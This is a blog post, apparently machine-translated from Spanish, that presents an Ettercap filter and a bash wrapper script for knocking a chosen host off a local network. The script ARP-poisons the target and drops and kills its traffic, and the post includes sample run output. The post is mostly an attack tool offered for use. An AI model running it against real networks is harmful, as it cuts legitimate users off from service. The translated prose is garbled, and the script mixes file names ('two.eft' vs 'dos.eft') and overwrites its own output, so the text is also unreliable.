Home Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other All categories Projects About Tools

Denial of Service (DOS) with Ettercap

Leer en espanol
Denial of Service (DOS) with Ettercap

Table of contents

Today I'm going to post a small filter for Ettercap to perform a denial of service. What is a DOS attack: In computer security, a denial of service attack, also ===

Good afternoon,

Today I'm going to post a small filter for Ettercap to perform a denial of service.

What is a DOS attack:

In security computing, a denial of service attack, also called attack Two(from the acronym in Englishdenial eitherF Yesservice), is an attack on a system computers either grid that causes a service or resource to be inaccessible to legitimate users. It normally causes the loss of network connectivity due to the consumption of the bandwidth of the victim's network or overloading the computational resources of the victim's system.

It is generated by saturating the ports with information flow, causing the serverbecomes overloaded and cannot continue providing services, which is why it is called “denial”, as it causes the server to not be able to cope with the number of requests. This technique is used by the so-called Crackers to take target servers out of service.

Ettercap filter

CODE
text
if (ip.src == 'IP ADDRESS ' || ip.dst == 'IP ADDRESS')
{
drop();
kill();
}

In order not to have to edit the filter file, I created a very dirty little script, really... but oh well. it works hahaha.

BASH
php
#!/bin/bash
#Ettercap ddos ​​script
#We check if the user that is running is root. If it is not, we do an exit
if [ $(whoami) != "root" ]; then
        echo "You must be root to run this script."
        echo "To log in as root, type \"su\" without the quotes."
        exit 1
#We check if you have Ettercap installed, if you don't have it we execute an exit
elif [ ! -x "/usr/sbin/ettercap" ]; then
        echo "It looks like you don't have Ettercap installed"
        echo "To install on Debian-based distributions: apt-get install ettercap"
        echo "To install on Redhat-based distributions: yum install ettercap"
        exit 1
fi
#We put a pretty header
echo
echo " Ettercap ddos ​​script"
echo "_____ ____ __________________"
echo
#We ask the address of Origin, Destination and the interface
read -p "Enter source address: " ipsrc
read -p "Enter destination address: " ipdst
read -p "Enter the Interface. Example eth0: " inter
#We check if the file dos.eft exists, if it exists we delete it
#And we create it again with the configuration added above
#It's bullshit but I don't know why I say it like that
if [ -e two.eft ]
then
        rm -r dos.eft
        echo "if (ip.src == '$ipsrc' || ip.dst == '$ipdst') " >> dos.eft
        echo "{" >> dos.eft
        echo "drop();" >> dos.eft
        echo "kill();" >> two.eft
         echo "msg('Take kill 9!!!!');" two.eft
        echo "}" >> dos.eft
#Once the file is generated we make an etterfilter to generate dos.ef
       etterfilter dos.eft -o dos.ef
#In the event that the dos.eft file does not exist, we do the same
#Generate the file and pass it the previously added data
else
        echo "if (ip.src == $ipsrc || ip.dst == $ipdst) {" > dos.eft
        echo "drop();" > two.eft
        echo "kill();" > two.eft
        echo "msg('Take kill 9!!!!');" two.eft
        echo "}" > dos.eft
        etterfilter dos.eft -o dos.ef
fi
#Check that dos.ef exists, if it exists we carry out the attack.
if [ -e two.ef ]
then
         ettercap -T -q -F dos.ef -M ARP /$ipdst/ // -i $inter
#En caso que no exista lo creamos con etterfilter y empezamos el ataque
else
        etterfilter dos.eft -o dos.ef
         ettercap -T -q -F dos.ef -M ARP /$ipdst/ // -i $inter
fi

Attacker

Example: of use:

rokitoh@red-orbitasudo:~# sh ddos.sh

Ettercap ddos ​​script
_____ ____ __________________

text
Introduzca direccion origen: 192.168.1.100

Introduzca direccion destino: 192.168.1.105

Introduzca la Interfaz. Ejemplo eth0: eth1

msg(‘Toma kill 9!!!!’); dos.eft
text
etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA
text
12 protocol tables loaded:

DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth
text
11 constants loaded:

VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP
text
Parsing source file ‘dos.eft’ done.
text
Unfolding the meta-tree done.
text
Converting labels to real offsets done.
text
Writing output to ‘dos.ef’ done.
text
-> Script encoded into 7 instructions.
text
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
text
Content filters loaded from dos.ef…

Listening on eth1… (Ethernet)
text
eth1 -> 00:1F:D0:21:E9:3F 192.168.1.102 255.255.255.0
text
SSL dissection needs a valid ‘redir_command_on’ script in the etter.conf file

Privileges dropped to UID 65534 GID 65534…
text
28 plugins

39 protocol dissectors

53 ports monitored

7587 mac vendor fingerprint

1698 tcp OS fingerprint

2183 known services
text
Randomizing 255 hosts for scanning…

Scanning the whole netmask for 255 hosts…

* |==================================================>| 100.00 %
text
3 hosts added to the hosts list…
text
ARP poisoning victims:
text
GROUP 2 : ANY (all the hosts in the list)

Starting Unified sniffing…

Victim:

Pantalla

Comments